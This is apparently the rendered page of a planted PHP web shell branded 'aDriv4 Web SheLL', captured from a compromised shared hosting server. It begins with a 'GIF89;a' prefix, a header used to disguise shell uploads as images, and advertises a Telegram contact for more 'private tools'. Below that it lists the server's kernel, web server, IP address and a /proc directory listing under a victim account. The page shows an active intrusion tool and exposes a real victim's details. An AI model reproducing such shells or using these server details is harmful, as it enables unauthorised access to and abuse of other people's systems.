GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium87.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.213.251.229
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-06 08:56:38
.. dir - root/root 0755 2025-08-02 08:58:57
3114162 dir - contaaly/contaaly 0555 2025-12-08 11:30:25
3831770 dir - contaaly/contaaly 0555 2025-12-08 11:30:25
3833092 dir - contaaly/contaaly 0555 2025-12-08 11:30:25
3833093 dir - contaaly/contaaly 0555 2025-12-08 11:30:25
3833097 dir - contaaly/contaaly 0555 2025-12-08 11:30:25
3833160 dir - contaaly/contaaly 0555 2025-12-08 11:30:24
3835534 dir - contaaly/contaaly 0555 2025-12-08 11:30:25
3843159 dir - contaaly/contaaly 0555 2025-12-08 11:30:24
3843160 dir - contaaly/contaaly 0555 2025-12-08 11:30:24
3843161 dir - contaaly/contaaly 0555 2025-12-08 11:30:24
3843163 dir - contaaly/contaaly 0555 2025-12-08 11:30:24
3843167 dir - contaaly/contaaly 0555 2025-12-08 11:30:24
3844907 dir - contaaly/contaaly 0555 2025-12-08 11:30:27
acpi dir - root/root 0555 2025-06-06 12:56:41
bus dir - root/root 0555 2025-06-06 12:56:50
driver dir - root/root 0555 2025-12-08 11:30:25
fs dir - root/root 0555 2025-06-06 12:56:50
irq dir - root/root 0555 2025-06-06 12:56:50
kcare dir - root/root 0555 2025-12-08 11:30:25
lve dir - root/root 0555 2025-12-08 11:30:25
net link - contaaly/contaaly 0555 2025-12-08 11:30:33
scsi dir - root/root 0555 2025-06-06 12:56:50
self link - contaaly/contaaly 0555 2025-12-08 11:30:27
sys dir - root/root 0555 2025-06-06 12:56:41
sysvipc dir - root/root 0555 2025-12-08 11:30:25
thread-self link - contaaly/contaaly 0555 2025-12-08 11:30:32
tty dir - root/root 0555 2025-12-08 11:30:25
buddyinfo 0 B root/root 0444 2025-12-08 11:30:25
cgroups 0 B root/root 0444 2025-12-08 11:30:25
cmdline text/plain 0 B root/root 0444 2025-12-08 11:30:25
consoles 0 B root/root 0444 2025-12-08 11:30:25
cpuinfo text/plain 0 B root/root 0444 2025-12-08 11:30:25
crypto 0 B root/root 0444 2025-12-08 11:30:25
devices 0 B root/root 0444 2025-12-08 11:30:25
diskstats 0 B root/root 0444 2025-12-08 11:30:25
dma 0 B root/root 0444 2025-12-08 11:30:25
execdomains 0 B root/root 0444 2025-12-08 11:30:25
fb 0 B root/root 0444 2025-12-08 11:30:25
filesystems text/plain 0 B root/root 0444 2025-12-08 11:30:24
interrupts 0 B root/root 0444 2025-12-08 11:30:25
iomem 0 B root/root 0444 2025-12-08 11:30:25
ioports 0 B root/root 0444 2025-12-08 11:30:25
kallsyms 0 B root/root 0444 2025-06-06 12:56:50
kcore 128 TB root/root 0400 2025-06-06 12:56:41
key-users 0 B root/root 0444 2025-12-08 11:30:25
keys 0 B root/root 0444 2025-12-08 11:30:25
kmsg 0 B root/root 0400 2025-12-08 11:30:25
kpagecgroup 0 B root/root 0400 2025-12-08 11:30:25
kpagecount 0 B root/root 0400 2025-12-08 11:30:25
kpageflags 0 B root/root 0400 2025-12-08 11:30:25
loadavg text/plain 0 B root/root 0444 2025-12-08 11:30:25
locks 0 B root/root 0444 2025-12-08 11:30:25
mdstat 0 B root/root 0444 2025-12-08 11:30:25
meminfo text/plain 0 B root/root 0444 2025-12-08 11:30:25
misc 0 B root/root 0444 2025-12-08 11:30:25
modules 0 B root/root 0444 2025-12-08 11:30:25
mounts text/plain 0 B contaaly/contaaly 0444 2025-12-08 11:30:33
mtrr 0 B root/root 0644 2025-06-06 12:56:50
pagetypeinfo 0 B root/root 0400 2025-12-08 11:30:25
partitions 0 B root/root 0444 2025-12-08 11:30:25
sched_debug 0 B root/root 0444 2025-12-08 11:30:25
schedstat 0 B root/root 0444 2025-12-08 11:30:25
slabinfo 0 B root/root 0400 2025-12-08 11:30:25
softirqs 0 B root/root 0444 2025-12-08 11:30:25
stat text/plain 0 B root/root 0444 2025-12-08 11:30:25
swaps 0 B root/root 0444 2025-06-06 08:56:39
sysrq-trigger 0 B root/root 0200 2025-06-06 12:56:50
timer_list 0 B root/root 0400 2025-12-08 11:30:25
uptime text/plain 0 B root/root 0444 2025-12-08 11:30:25
version text/plain 0 B root/root 0444 2025-12-08 11:30:25
vmallocinfo 0 B root/root 0400 2025-12-08 11:30:25
vmstat 0 B root/root 0444 2025-12-08 11:30:25
zoneinfo 0 B root/root 0444 2025-12-08 11:30:25
© aDriv4